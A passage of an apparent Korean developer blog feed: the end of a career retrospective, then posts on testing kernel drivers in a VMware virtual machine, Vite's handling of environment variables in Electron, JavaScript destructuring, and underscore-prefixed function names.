<p>“그렇게 열심히 했는데, 아직도 이직 못했어?”</p>
<p>“대기업 못 갔어?”</p>
</blockquote>
<p>그럴 수 있죠. 하지만 저는 말하고 싶어요.</p>
<blockquote>
<p>“저는 천천히 그렇지만, 꾸준히 자랄 거에요.”</p>
</blockquote>
<p>하반기엔 더더욱 발전해서</p>
<p>언젠가 다음의 회고록은</p>
<p><strong>“내가 꿈꾸던 곳에 도착했다.”</strong></p>
<p>그런 이야기로 마무리할 수 있기를 바랍니다.</p>
<hr>
<p>읽어주셔서 진심으로 감사합니다.</p>
<p>이 긴 회고록이 누군가에겐 위로이자, 자극이 되었길 바라며</p>
<p>하반기에도 다시 찾아뵐게요 :)</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[ 커널을 건드리는 기술은 가상머신에서 테스트해야 합니다 (VMware 설정 가이드)]]></title>
            <link>https://velog.io/@songyeonji_/%EC%BB%A4%EB%84%90%EC%9D%84-%EA%B1%B4%EB%93%9C%EB%A6%AC%EB%8A%94-%EA%B8%B0%EC%88%A0%EC%9D%80-%EA%B0%80%EC%83%81%EB%A8%B8%EC%8B%A0%EC%97%90%EC%84%9C-%ED%85%8C%EC%8A%A4%ED%8A%B8%ED%95%B4%EC%95%BC-%ED%95%A9%EB%8B%88%EB%8B%A4-VMware-%EC%84%A4%EC%A0%95-%EA%B0%80%EC%9D%B4%EB%93%9C</link>
            <guid>https://velog.io/@songyeonji_/%EC%BB%A4%EB%84%90%EC%9D%84-%EA%B1%B4%EB%93%9C%EB%A6%AC%EB%8A%94-%EA%B8%B0%EC%88%A0%EC%9D%80-%EA%B0%80%EC%83%81%EB%A8%B8%EC%8B%A0%EC%97%90%EC%84%9C-%ED%85%8C%EC%8A%A4%ED%8A%B8%ED%95%B4%EC%95%BC-%ED%95%A9%EB%8B%88%EB%8B%A4-VMware-%EC%84%A4%EC%A0%95-%EA%B0%80%EC%9D%B4%EB%93%9C</guid>
            <pubDate>Tue, 15 Jul 2025 00:28:06 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/songyeonji_/post/64d4c76b-6a5d-4a9b-bd4a-fa60922408ff/image.png" alt="">
시스템 커널 단에 접근하거나 드라이버를 후킹하고, 보안 모듈을 붙이는 작업을 진행하다 보면 이런 생각이 듭니다.</p>
<blockquote>
<p>“이 작업, 잘못 붙였다간 블루스크린(BSOD) 뜨는 거 아닌가요?”</p>
</blockquote>
<p>실제로 커널 단 작업은 <strong>단 하나의 실수</strong>만으로도 시스템이 멈추거나 부팅이 불가능해질 수 있습니다. 그렇기 때문에 많은 개발자들이 <strong>가상머신(Virtual Machine, VM)</strong>을 사용하여 테스트를 진행합니다.</p>
<p>제 메인 PC가 무너지면 저의 하루는 끝이기 때문입니다.</p>
<hr>
<h3 id="🤔-가상머신을-사용해야-하는-이유">🤔 가상머신을 사용해야 하는 이유</h3>
<p>제가 진행하는 작업은 운영체제 깊숙한 곳, 즉 <strong>커널 레벨</strong>까지 접근하는 작업입니다.</p>
<p>예를 들어 드라이버를 설치하거나, 보안 소프트웨어처럼 시스템 콜을 가로채는 코드들은 <strong>예외 처리 한 줄이 누락되면 블루스크린이 발생</strong>할 수 있습니다.</p>
<ul>
<li>테스트 서명(bcdedit)을 잘못 켜거나 끄면 부팅 불가</li>
<li>드라이버 서명 인증에 실패하면 OS가 실행되지 않음</li>
<li>예외 없는 후킹 코드 테스트 시 전체 시스템이 중단</li>
</ul>
<p>이러한 위험을 안전하게 분리된 공간에서 테스트할 수 있는 유일한 방법이 <strong>가상머신을 사용하는 것</strong>입니다.</p>
<hr>
<h3 id="🧾-주요-가상머신-종류-및-장단점-비교">🧾 주요 가상머신 종류 및 장단점 비교</h3>
<table>
<thead>
<tr>
<th>가상머신 종류</th>
<th>설명</th>
<th>장점</th>
<th>단점</th>
</tr>
</thead>
<tbody><tr>
<td><strong>VMware Workstation</strong></td>
<td>Windows 기반 데스크탑 가상화 솔루션</td>
<td>안정성 우수, 스냅샷 기능, 장치 연결 뛰어남</td>
<td>상용(유료), 무겁고 리소스 많이 소모함</td>
</tr>
<tr>
<td><strong>VirtualBox</strong></td>
<td>Oracle 제공 오픈소스 가상머신</td>
<td>무료, 가볍고 빠름, 다양한 OS 지원</td>
<td>GUI 불편, 드라이버 충돌 빈번, 3D 가속 취약</td>
</tr>
<tr>
<td><strong>Hyper-V</strong></td>
<td>Windows Pro 이상에 내장된 가상화 도구</td>
<td>Windows에 통합, 성능 우수, 스냅샷 가능</td>
<td>설정 복잡, USB 직결 어렵고 일부 OS에서 오류 발생</td>
</tr>
<tr>
<td><strong>QEMU + KVM</strong></td>
<td>Linux 기반 고성능 가상화 솔루션</td>
<td>고성능, 자동화에 적합, 오픈소스</td>
<td>CLI 중심, 설정 복잡, GUI 환경 구축 필요</td>
</tr>
<tr>
<td><strong>Parallels</strong></td>
<td>macOS 전용 상용 가상머신</td>
<td>macOS 호환 우수, 부드러운 UX</td>
<td>유료, mac 전용, 고급 설정 제한</td>
</tr>
</tbody></table>
<hr>
<h3 id="🛠-저는-vmware-workstation을-선택했습니다">🛠 저는 VMware Workstation을 선택했습니다</h3>
<p>제가 VMware를 선택한 이유는 다음과 같습니다.</p>
<ul>
<li><strong>Windows 커널 드라이버 테스트</strong>를 안전하게 진행할 수 있습니다.</li>
<li><strong>스냅샷 기능</strong>을 통해 커널 변경 전 상태로 되돌릴 수 있어 실수 복구가 쉽습니다.</li>
<li><strong>USB 디바이스 테스트</strong>가 필요했는데, VMware의 USB passthrough 안정성이 매우 뛰어났습니다.</li>
<li>무엇보다 <strong>UI가 직관적</strong>이어서 복잡한 설정 없이 가상머신을 구성할 수 있었습니다.</li>
</ul>
<hr>
<h3 id="💻-vmware-workstation-설치-및-설정-방법">💻 VMware Workstation 설치 및 설정 방법</h3>
<p><img src="https://velog.velcdn.com/images/songyeonji_/post/5e645228-4e11-4b79-9fcf-dc3c0458c1f1/image.png" alt=""></p>
<h4 id="1-vmware-설치-파일-다운로드">1. VMware 설치 파일 다운로드</h4>
<ul>
<li>공식 웹사이트: <a href="https://www.vmware.com/">https://www.vmware.com</a></li>
<li>“VMware Workstation Pro” 또는 비상업용 무료인 “Player” 중 선택하였습니다.</li>
</ul>
<h4 id="2-설치">2. 설치</h4>
<ul>
<li>다운로드한 <code>.exe</code> 파일을 실행하여 기본값으로 설치하였습니다.</li>
<li>설치 후에는 시스템 재부팅을 한 번 진행하였습니다.</li>
</ul>
<h4 id="3-가상머신-생성">3. 가상머신 생성</h4>
<ul>
<li>VMware를 실행한 뒤, “Create New Virtual Machine”을 클릭하였습니다.</li>
<li>Typical 모드를 선택하였으며, 테스트용으로 Windows 10 ISO 이미지를 지정하였습니다.</li>
</ul>
<h4 id="4-가상-디스크-및-저장-위치-설정">4. 가상 디스크 및 저장 위치 설정</h4>
<ul>
<li>가상머신 이름은 <code>DriverTest_VM</code>으로 지정하였고, 저장 위치는 SSD 드라이브로 설정하였습니다.</li>
<li>디스크 용량은 60GB로 설정하였으며, 성능을 고려하여 “단일 파일로 저장” 옵션을 선택하였습니다.</li>
</ul>
<h4 id="5-하드웨어-커스터마이징">5. 하드웨어 커스터마이징</h4>
<ul>
<li>CPU는 2코어 이상, 메모리는 4GB 이상 할당하였습니다.</li>
<li>USB 장치 연결을 위해 USB 컨트롤러를 활성화하였고, 네트워크는 NAT로 설정하였습니다.</li>
<li>디버깅 중 발생할 수 있는 충돌을 방지하기 위해 3D 가속 기능은 비활성화하였습니다.</li>
</ul>
<h4 id="6-운영체제-설치">6. 운영체제 설치</h4>
<ul>
<li>ISO 이미지를 통해 부팅 후 일반적인 Windows 설치 과정을 진행하였습니다.</li>
<li>설치 후 관리자 권한 계정으로 로그인하여 환경을 구성하였습니다.</li>
</ul>
<hr>
<h3 id="🔐-커널-테스트를-위한-사전-준비">🔐 커널 테스트를 위한 사전 준비</h3>
<ul>
<li><p><code>bcdedit /set testsigning on</code> 명령어로 <strong>테스트 서명 모드</strong>를 활성화하였습니다.</p>
<p>  이 명령은 테스트용 드라이버를 설치하거나 커널 레벨 코드를 실행할 수 있게 해줍니다.</p>
<p>  ⚠️ <strong>명령 실행 후에는 가상머신을 재부팅해야 적용됩니다.</strong> (실제 PC는 절대 재부팅 금지!)</p>
</li>
<li><p>Windows Defender와 기타 실시간 보안 프로그램은 임시로 비활성화하였습니다.</p>
<p>  커널 접근 시 과도한 보안 검사로 인한 충돌을 방지하기 위함입니다.</p>
</li>
<li><p>시스템 설정 직전에는 반드시 <strong>스냅샷을 생성</strong>하여 복구 지점을 확보하였습니다.</p>
<p>  문제가 발생할 경우 몇 초 만에 초기 상태로 복구할 수 있도록 준비해두는 것이 중요합니다.</p>
</li>
</ul>
<hr>
<h3 id="✅-마무리하며">✅ 마무리하며</h3>
<p>가상머신은 단순히 보조적인 개발 도구가 아닙니다.</p>
<p><strong>실수해도 안전하게 복구할 수 있는 실험실이자, 시스템 개발의 생명선</strong>입니다.</p>
<p>특히 커널 단 드라이버를 테스트하거나, 시스템 레벨에서 작동하는 후킹 또는 보안 코드를 개발하실 때는 반드시 가상머신에서 진행하시는 것을 추천드립니다.</p>
<p>그중에서도 <strong>VMware Workstation은 안정성, 편의성, 확장성</strong> 면에서 강력한 선택지였습니다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[Electron 메인 프로세스는 Node 환경인데… `process.env`가 안 된다?]]></title>
            <link>https://velog.io/@songyeonji_/Electron-%EB%A9%94%EC%9D%B8-%ED%94%84%EB%A1%9C%EC%84%B8%EC%8A%A4%EB%8A%94-Node-%ED%99%98%EA%B2%BD%EC%9D%B8%EB%8D%B0-process.env%EA%B0%80-%EC%95%88-%EB%90%9C%EB%8B%A4</link>
            <guid>https://velog.io/@songyeonji_/Electron-%EB%A9%94%EC%9D%B8-%ED%94%84%EB%A1%9C%EC%84%B8%EC%8A%A4%EB%8A%94-Node-%ED%99%98%EA%B2%BD%EC%9D%B8%EB%8D%B0-process.env%EA%B0%80-%EC%95%88-%EB%90%9C%EB%8B%A4</guid>
            <pubDate>Mon, 07 Jul 2025 00:56:23 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/songyeonji_/post/6fc40e0f-aaa1-4aa2-a84b-96cc82287a21/image.png" alt=""></p>
<p>Electron 앱을 개발하다가 <code>.env</code> 파일로 API 주소 같은 환경변수를 넣고 싶어서 이렇게 작성했어요.</p>
<pre><code class="language-tsx">
// main.ts
import * as dotenv from &#39;dotenv&#39;;
dotenv.config();

console.log(process.env.VITE_API_BASE_URL1); // ❌ undefined</code></pre>
<p>Node 환경에서 이 방식은 너무 당연하잖아요?</p>
<p>그런데 Electron에서는… 왜 이게 안 될까요?</p>
<hr>
<h3 id="❓-electron-메인은-node-환경-아닌가요">❓ Electron 메인은 Node 환경 아닌가요?</h3>
<p>Electron의 메인 프로세스(Main Process)는 실제로 Node.js 런타임 위에서 실행됩니다.</p>
<p><code>fs</code>, <code>child_process</code>, <code>path</code> 같은 Node 내장 모듈도 자유롭게 사용할 수 있고,</p>
<p><code>console.log(process.platform)</code>도 잘 찍혀요.</p>
<p>그래서 대부분의 개발자(저 포함)는 이렇게 생각합니다:</p>
<blockquote>
<p>“Node 환경이니까 .env + dotenv + process.env 조합이면 당연히 환경변수 잘 들어오겠지!”</p>
</blockquote>
<p>이 생각, 틀린 건 아니에요. Electron은 분명 Node 기반이니까요.</p>
<p>그런데 여기서 하나 간과한 게 있었습니다.</p>
<hr>
<h3 id="🧩-바로-vite를-쓰고-있다는-점">🧩 바로 <strong>&quot;Vite를 쓰고 있다는 점&quot;</strong></h3>
<p>Electron 프로젝트를 만들 때 Vite를 사용하는 경우가 많습니다.</p>
<p>렌더링 속도 빠르고, 설정 간단하고, React 기반 UI까지 바로 통합되니까요.</p>
<p>그런데…</p>
<h4 id="⚠️-vite는-단순-실행기가-아니라-정적-빌드-도구입니다">⚠️ Vite는 단순 실행기가 아니라 <strong>정적 빌드 도구</strong>입니다.</h4>
<p>즉, 우리가 작성한 코드를 실행하는 게 아니라,</p>
<p><strong>미리 빌드해서 정적인 결과물로 만들어주는 도구</strong>라는 점입니다.</p>
<p>이건 메인 프로세스(<code>main.ts</code>)도 예외가 아닙니다.</p>
<p>우리가 Vite로 메인도 같이 번들링하면,</p>
<p>그 순간부터는 Node 런타임에 의한 실행이 아니라</p>
<p><strong>Vite가 만들어낸 JS 결과물의 실행</strong>이 되는 거예요.</p>
<hr>
<h3 id="🔍-그럼-왜-vite는-processenv를-무시할까">🔍 그럼… 왜 Vite는 <code>process.env</code>를 무시할까?</h3>
<p>Vite는 빠른 개발환경과 빌드 성능을 위해 <strong>정적 분석(static analysis)</strong> 기반으로 작동합니다.</p>
<p>그래서 <strong>“코드 안에서 예측 가능한 부분만”</strong> 치환해줍니다.</p>
<p><code>process.env.XXX</code>는 <strong>런타임에 정해지는 값</strong>이라</p>
<p>Vite 입장에선 <strong>“이 값이 뭔지 미리 모른다”</strong> → <strong>아예 무시!</strong></p>
<p>반면 <code>import.meta.env.VITE_XXX</code>는</p>
<p>Vite가 <code>.env</code> 파일을 빌드 타임에 읽어서 코드에 직접 박아 넣어줄 수 있는 <strong>&quot;정적인 값&quot;</strong>입니다.</p>
<h4 id="📦-예시">📦 예시</h4>
<pre><code class="language-tsx">// 개발자가 작성한 코드
const apiUrl = import.meta.env.VITE_API_BASE_URL1;</code></pre>
<p>⬇ 빌드 후</p>
<pre><code class="language-tsx">const apiUrl = &quot;https://api.example.com&quot;; // 정적 치환됨!</code></pre>
<p>반면 이런 건?</p>
<pre><code class="language-tsx">console.log(process.env.VITE_API_BASE_URL1);</code></pre>
<p>⬇ 빌드 후에도 여전히</p>
<pre><code class="language-tsx">console.log(process.env.VITE_API_BASE_URL1); // undefined</code></pre>
<p>아무 처리도 되지 않은 채 남아 있다가,</p>
<p>실행 시에도 <code>.env</code>를 읽지 않으니 <code>undefined</code>가 되는 거죠.</p>
<hr>
<h3 id="🧪-그럼-개발-모드에서는-왜-processenv가-작동했던-거예요">🧪 그럼 개발 모드에서는 왜 <code>process.env</code>가 작동했던 거예요?</h3>
<p>여기서 많은 개발자가 헷갈립니다.</p>
<p>개발 모드에서는 Vite dev server가 Node 기반으로 돌아가고,</p>
<p>일부 경우 <code>process.env</code> 값이 들어가는 것처럼 보일 수 있어요.</p>
<p>이건 사실 Vite가 <code>define</code> 속성이나 <code>dotenv</code> 로딩을 통해 임시로 넣어준 값일 뿐,</p>
<p><strong>&quot;우연히&quot; 동작하는 것</strong>일 뿐입니다.</p>
<blockquote>
<p>✅ 개발 모드에서는 동작할 수도 있음</p>
<p>❌ 하지만 <strong>빌드 모드에서는 100% 무시됩니다</strong></p>
</blockquote>
<hr>
<h3 id="😵-흔히-겪는-착각들">😵 흔히 겪는 착각들</h3>
<table>
<thead>
<tr>
<th>❓질문</th>
<th>✅흔한 생각</th>
<th>❌실제 동작</th>
</tr>
</thead>
<tbody><tr>
<td>Electron 메인은 Node 환경이니까 <code>process.env</code> 되겠지?</td>
<td>맞는 말처럼 보임</td>
<td>Vite 빌드 시엔 무시됨</td>
</tr>
<tr>
<td><code>dotenv</code> 쓰면 <code>.env</code> 읽지 않나요?</td>
<td>Node에서는 맞음</td>
<td>Vite는 무시함</td>
</tr>
<tr>
<td><code>.env</code>만 바꾸면 반영되나요?</td>
<td>될 것 같지만</td>
<td>반드시 재빌드 필요</td>
</tr>
</tbody></table>
<hr>
<h4 id="⚙️-vite-vs-nodejs--환경변수-처리-비교">⚙️ Vite vs Node.js – 환경변수 처리 비교</h4>
<table>
<thead>
<tr>
<th>항목</th>
<th>Node.js (<code>process.env</code>)</th>
<th>Vite (<code>import.meta.env</code>)</th>
</tr>
</thead>
<tbody><tr>
<td>처리 시점</td>
<td>런타임</td>
<td>빌드타임</td>
</tr>
<tr>
<td>방식</td>
<td>dotenv 등으로 <code>.env</code> 읽음</td>
<td>Vite가 직접 코드에 값 치환</td>
</tr>
<tr>
<td>유연성</td>
<td><code>.env</code>만 바꿔도 바로 반영</td>
<td><code>.env</code> 바꾸면 반드시 재빌드</td>
</tr>
<tr>
<td>보안 제어</td>
<td>제한 없음</td>
<td><code>VITE_</code> 접두사로 제한</td>
</tr>
<tr>
<td>주 사용처</td>
<td>백엔드, CLI, 서버</td>
<td>프론트엔드, Electron, SPA 앱 등</td>
</tr>
</tbody></table>
<hr>
<h3 id="✅-electron--vite-환경에서의-결론-정리">✅ Electron + Vite 환경에서의 결론 정리</h3>
<table>
<thead>
<tr>
<th>위치</th>
<th>환경변수 접근법</th>
<th>설명</th>
</tr>
</thead>
<tbody><tr>
<td>렌더러 (React 등)</td>
<td><code>import.meta.env.VITE_XXX</code></td>
<td>✅ Vite가 치환</td>
</tr>
<tr>
<td>메인 프로세스 (main.ts)</td>
<td><code>import.meta.env.VITE_XXX</code></td>
<td>✅ 마찬가지로 Vite가 치환</td>
</tr>
<tr>
<td><code>process.env</code> 사용</td>
<td>❌ Vite 빌드 시 무시됨</td>
<td><code>undefined</code> 위험 있음</td>
</tr>
</tbody></table>
<h4 id="그렇다면--env만-바꾸면-바로-적용되나요--❌-아니요">그렇다면  <code>.env</code>만 바꾸면 바로 적용되나요?  ❌ 아니요!</h4>
<p>Vite는 <strong>빌드 타임</strong>에 <code>.env</code> 파일을 읽어서 코드를 바꾸기 때문에,</p>
<p><code>.env</code> 변경 후에는 반드시 <code>vite build</code> 같은 빌드 작업을 다시 해야 반영됩니다.</p>
<hr>
<h3 id="✅-최종-요약">✅ 최종 요약</h3>
<p>Electron 메인은 Node 환경이다 → process.env 가능
BUT Vite로 빌드하면 정적 분석 기반 → process.env 무시됨
→ import.meta.env.VITE_XXX 만 써야 함!</p>
<blockquote>
<p>Vite를 사용하는 순간, &quot;런타임의 유연성&quot;보다</p>
<p>&quot;빌드 시점의 확정성과 정적 최적화&quot;가 더 중요해집니다.</p>
<p>이 차이를 이해하는 것이 Electron + Vite 개발의 핵심이에요.</p>
</blockquote>
]]></description>
        </item>
        <item>
            <title><![CDATA[구조분해(Destructuring), 언제 쓰고 언제 쓰지 말아야 할까]]></title>
            <link>https://velog.io/@songyeonji_/%EA%B5%AC%EC%A1%B0%EB%B6%84%ED%95%B4Destructuring-%EC%96%B8%EC%A0%9C-%EC%93%B0%EA%B3%A0-%EC%96%B8%EC%A0%9C-%EC%93%B0%EC%A7%80-%EB%A7%90%EC%95%84%EC%95%BC-%ED%95%A0%EA%B9%8C</link>
            <guid>https://velog.io/@songyeonji_/%EA%B5%AC%EC%A1%B0%EB%B6%84%ED%95%B4Destructuring-%EC%96%B8%EC%A0%9C-%EC%93%B0%EA%B3%A0-%EC%96%B8%EC%A0%9C-%EC%93%B0%EC%A7%80-%EB%A7%90%EC%95%84%EC%95%BC-%ED%95%A0%EA%B9%8C</guid>
            <pubDate>Thu, 26 Jun 2025 09:44:20 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/songyeonji_/post/e50c334c-8b0a-48d5-85ff-d470f049f93c/image.png" alt=""></p>
<p>프론트엔드 개발을 하다 보면 코드 리뷰에서 이런 말을 자주 듣게 됩니다.</p>
<blockquote>
<p>“이거 구조분해 안 했어?”</p>
<p>“props에서 구조분해 해주세요”</p>
<p>“store 값 구조분해해서 써주세요”</p>
</blockquote>
<p>그렇다면 이 <strong>구조분해란 정확히 무엇일까요?</strong></p>
<p>그리고 <strong>왜 쓰는 게 좋고, 언제 쓰면 오히려 독이 되는 걸까요?</strong></p>
<p>실전 예시와 함께 <strong>정리된 구조분해 가이드</strong>를 알려드릴게요.</p>
<hr>
<h2 id="✅-구조분해란">✅ 구조분해란?</h2>
<p>JavaScript(또는 TypeScript)에서 <strong>객체나 배열의 값을 개별 변수로 뽑아내는 문법</strong>입니다.</p>
<pre><code class="language-tsx">
const user = { name: &#39;연지&#39;, age: 26 };

// 구조분해 없이
const name = user.name;
const age = user.age;

// 구조분해로
const { name, age } = user;</code></pre>
<hr>
<h2 id="⭐-구조분해의-장점">⭐ 구조분해의 장점</h2>
<table>
<thead>
<tr>
<th>항목</th>
<th>설명</th>
</tr>
</thead>
<tbody><tr>
<td>✅ 코드 간결성</td>
<td><code>obj.a</code> 대신 <code>a</code>로 바로 접근 가능</td>
</tr>
<tr>
<td>✅ 가독성 향상</td>
<td>필요한 값만 명확하게 추출</td>
</tr>
<tr>
<td>✅ 반복 제거</td>
<td><code>props.xxx</code>, <code>store.xxx</code> 등 중복 방지</td>
</tr>
<tr>
<td>✅ 함수 인자 간결화</td>
<td>매개변수에서 바로 구조분해 가능</td>
</tr>
<tr>
<td>✅ 코드 구조 명확화</td>
<td>어떤 값이 필요한지 선언적으로 보여줌</td>
</tr>
</tbody></table>
<h3 id="예시-props에서-구조분해">예시: <code>props</code>에서 구조분해</h3>
<pre><code class="language-tsx">
// 구조분해 X
function Profile(props: { name: string; age: number }) {
  return &lt;div&gt;{props.name} ({props.age})&lt;/div&gt;;
}

// 구조분해 O
function Profile({ name, age }: { name: string; age: number }) {
  return &lt;div&gt;{name} ({age})&lt;/div&gt;;
}
</code></pre>
<hr>
<h2 id="🎯-구조분해가-유용한-경우">🎯 구조분해가 유용한 경우</h2>
<h3 id="1-props-context-hook-등에서-여러-값을-가져올-때">1. <strong>props, context, hook 등에서 여러 값을 가져올 때</strong></h3>
<pre><code class="language-tsx">
const { t } = useTranslation();
const { userProfile } = useUserStore();</code></pre>
<h3 id="2-api-응답-상태값-등을-가독성-있게-분리할-때">2. <strong>API 응답, 상태값 등을 가독성 있게 분리할 때</strong></h3>
<pre><code class="language-tsx">
const { data, error } = await fetchData()</code></pre>
<h3 id="3-컴포넌트-매개변수에서-바로-속성-꺼낼-때">3. <strong>컴포넌트 매개변수에서 바로 속성 꺼낼 때</strong></h3>
<pre><code class="language-tsx">
const MyButton = ({ label, onClick }: ButtonProps) =&gt; (
  &lt;button onClick={onClick}&gt;{label}&lt;/button&gt;
);</code></pre>
<hr>
<h2 id="⚠️-구조분해를-피해야-할-경우-예외-케이스">⚠️ 구조분해를 피해야 할 경우 (예외 케이스)</h2>
<h3 id="1-중첩된-객체를-깊게-구조분해할-때">1. <strong>중첩된 객체를 깊게 구조분해할 때</strong></h3>
<pre><code class="language-tsx">
// ❌ 너무 깊은 구조분해
const { a: { b: { c, d } } } = obj;

// ✅ Optional chaining으로 접근하는 것이 더 명확
const c = obj?.a?.b?.c;
</code></pre>
<h3 id="2-필드가-너무-많을-때-ex-props-10개-이상">2. <strong>필드가 너무 많을 때 (ex. props 10개 이상)</strong></h3>
<pre><code class="language-tsx">
// ❌ 너무 많은 변수 풀림
const { a, b, c, d, e, f, g, h, i, j } = props;</code></pre>
<p>→ 이럴 땐 필요한 것만 부분 구조분해하거나, 그냥 <code>props.xxx</code>로 접근</p>
<hr>
<h3 id="3-변수명이-충돌할-수-있는-경우">3. <strong>변수명이 충돌할 수 있는 경우</strong></h3>
<pre><code class="language-tsx">
const { name } = user;
const name = &#39;내 이름&#39;; // 💥 충돌</code></pre>
<p>→ 구조분해 시 변수명을 바꿔주는 것이 안전</p>
<pre><code class="language-tsx">
const { name: userName } = user;</code></pre>
<hr>
<h3 id="4-단일-값만-필요할-때">4. <strong>단일 값만 필요할 때</strong></h3>
<pre><code class="language-tsx">
// ❌ 굳이 구조분해할 필요 없음
const { title } = post;
console.log(post.title);

// ✅ 그냥 post.title로 사용하는 게 더 직관적일 수도 있음</code></pre>
<hr>
<h3 id="5-로깅이나-디버깅-시">5. <strong>로깅이나 디버깅 시</strong></h3>
<p>전체 객체를 로그로 보고 싶을 때는 구조분해하지 말고 객체 통째로 넘기는 것이 낫습니다.</p>
<pre><code class="language-tsx">
console.log(user); // 전체 구조 확인 가능</code></pre>
<hr>
<h2 id="🧠-구조분해를-쓸지-말지-결정하는-기준">🧠 구조분해를 쓸지 말지 결정하는 기준</h2>
<table>
<thead>
<tr>
<th>상황</th>
<th>구조분해 사용</th>
</tr>
</thead>
<tbody><tr>
<td>필요한 속성이 여러 개일 때</td>
<td>✅</td>
</tr>
<tr>
<td><code>props.xxx</code>, <code>store.xxx</code> 반복될 때</td>
<td>✅</td>
</tr>
<tr>
<td>깊은 중첩 구조일 때</td>
<td>❌</td>
</tr>
<tr>
<td>변수명 충돌 우려가 있을 때</td>
<td>❌ 또는 별칭 사용</td>
</tr>
<tr>
<td>단일 값만 필요할 때</td>
<td>❌</td>
</tr>
<tr>
<td>디버깅용 로그나 전달용 객체일 때</td>
<td>❌</td>
</tr>
</tbody></table>
<hr>
<h2 id="🔚-마무리-정리">🔚 마무리 정리</h2>
<table>
<thead>
<tr>
<th>장점</th>
<th>주의점</th>
</tr>
</thead>
<tbody><tr>
<td>코드가 짧고 깔끔해짐</td>
<td>구조가 너무 복잡하면 가독성 저하</td>
</tr>
<tr>
<td>필요한 값만 명확하게 꺼냄</td>
<td>과도한 변수 선언, 네이밍 충돌 가능</td>
</tr>
<tr>
<td>유지보수/리팩터링에 유리</td>
<td>객체 구조 변경에 민감함</td>
</tr>
</tbody></table>
<hr>
<h2 id="✍️-한-줄-요약">✍️ 한 줄 요약</h2>
<blockquote>
<p>“구조분해는 잘 쓰면 깔끔한 칼, 남용하면 위험한 칼”입니다.
언제 꺼내 쓸지 잘 판단하는 눈이 중요해요 👀”</p>
</blockquote>
]]></description>
        </item>
        <item>
            <title><![CDATA[함수명 앞에 _(언더스코어) 를 붙이는 이유는 뭘까?]]></title>
            <link>https://velog.io/@songyeonji_/%ED%95%A8%EC%88%98%EB%AA%85-%EC%95%9E%EC%97%90-%EC%96%B8%EB%8D%94%EC%8A%A4%EC%BD%94%EC%96%B4-%EB%A5%BC-%EB%B6%99%EC%9D%B4%EB%8A%94-%EC%9D%B4%EC%9C%A0%EB%8A%94-%EB%AD%98%EA%B9%8C</link>
            <guid>https://velog.io/@songyeonji_/%ED%95%A8%EC%88%98%EB%AA%85-%EC%95%9E%EC%97%90-%EC%96%B8%EB%8D%94%EC%8A%A4%EC%BD%94%EC%96%B4-%EB%A5%BC-%EB%B6%99%EC%9D%B4%EB%8A%94-%EC%9D%B4%EC%9C%A0%EB%8A%94-%EB%AD%98%EA%B9%8C</guid>
            <pubDate>Thu, 26 Jun 2025 07:21:59 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/songyeonji_/post/76cdf8c5-0665-4e66-a1da-7d875f7baead/image.png" alt="">
프론트엔드 프로젝트를 하다 보면 함수 이름 앞에 <code>_</code>(언더스코어)가 붙은 코드를 종종 보게 됩니다.</p>
<p>예를 들면 <code>_getUser</code>, <code>_registerLeader</code> 같은 함수들이죠.</p>
<p>처음엔 단순한 스타일 차이 정도로 생각하기 쉽지만,</p>
<p>실제로는 이 방식이 <strong>실무에서 꽤 널리 쓰이는 네이밍 컨벤션</strong>이라는 걸 알게 됩니다.</p>
<p>이번 글에서는</p>
<ul>
<li>왜 함수 앞에 <code>_</code>를 붙이는지</li>
<li>언제 쓰고 언제 안 쓰는지</li>
<li>어떤 상황에서 유용한지</li>
<li>실제로 제가 작업한 코드에서 어떻게 적용했는지를 기준으로 정리해 보려고 합니다.</li>
</ul>
<hr>
<h3 id="✅-_는-이건-내부-전용입니다라는-뜻이에요">✅ <code>_</code>는 &quot;이건 내부 전용입니다&quot;라는 뜻이에요</h3>
<p>TypeScript에서는 클래스 내부가 아니라면 <code>private</code> 접근 제한자를 사용할 수 없습니다.</p>
<p>그래서 함수 이름에 <code>_</code>를 붙여 <strong>개발자끼리의 약속처럼 &quot;이건 외부에서 직접 호출하지 마세요&quot;</strong>라는 의미를 표현합니다.</p>
<p>이걸 문법적으로 막을 수는 없지만, <strong>의도를 명확히 드러내는 방식</strong>이죠.</p>
<p>예를 들어 아래처럼 구조를 나눕니다:</p>
<pre><code class="language-tsx">// 내부 전용 - 순수 API 호출
const _getUser = createPostApi(&#39;/api/getUser&#39;);

// 외부에 노출할 래퍼 함수
export const getUser = (params) =&gt; {
  console.log(&#39;[API 요청]&#39;, params);
  return _getUser(params).then(...).catch(...);
};</code></pre>
<p>이렇게 하면 <code>_getUser()</code>는 실제로는 외부에서 직접 쓰지 않고,</p>
<p><code>getUser()</code>만 import해서 사용하게 됩니다.</p>
<blockquote>
<p>이런 식으로 작성하면 코드를 읽는 사람 입장에서도 </p>
</blockquote>
<p>“아, 이 함수는 외부에서 직접 쓰는 게 아니라 내부에서만 호출해야겠구나” 하고 자연스럽게 받아들이게 됩니다.</p>
<blockquote>
</blockquote>
<hr>
<h3 id="✅-그럼-모든-함수에-_를-붙여야-할까-그렇진-않습니다">✅ 그럼 모든 함수에 <code>_</code>를 붙여야 할까? 그렇진 않습니다.</h3>
<p>실제로 제가 작업했던 프로젝트에서도 모든 API 함수에 <code>_</code>를 붙이지는 않았습니다.</p>
<p>예를 들어 <code>leader.ts</code> 모듈에서는 <code>_registerLeader</code>, <code>_requestManager</code> 등</p>
<p>내부 전용 함수에 <code>_</code>를 붙인 반면,</p>
<p><code>department.ts</code> 모듈에서는 <code>getDepartments</code>, <code>addDepartment</code> 같은 함수들을 별도 구분 없이 바로 export했습니다.</p>
<h4 id="이-차이는-구조와-의도에-따라-나뉩니다">이 차이는 구조와 의도에 따라 나뉩니다:</h4>
<table>
<thead>
<tr>
<th>구조 형태</th>
<th><code>_</code> 사용 여부</th>
<th>이유</th>
</tr>
</thead>
<tbody><tr>
<td>내부 전용 함수 + 래퍼 함수가 분리됨</td>
<td>✅ 사용</td>
<td>역할이 나뉘어 있고, 직접 호출을 막기 위해</td>
</tr>
<tr>
<td>export하는 함수가 바로 사용됨</td>
<td>❌ 사용 안 함</td>
<td>중간 래핑 없이 단일 책임이므로 구분 필요 없음</td>
</tr>
</tbody></table>
<hr>
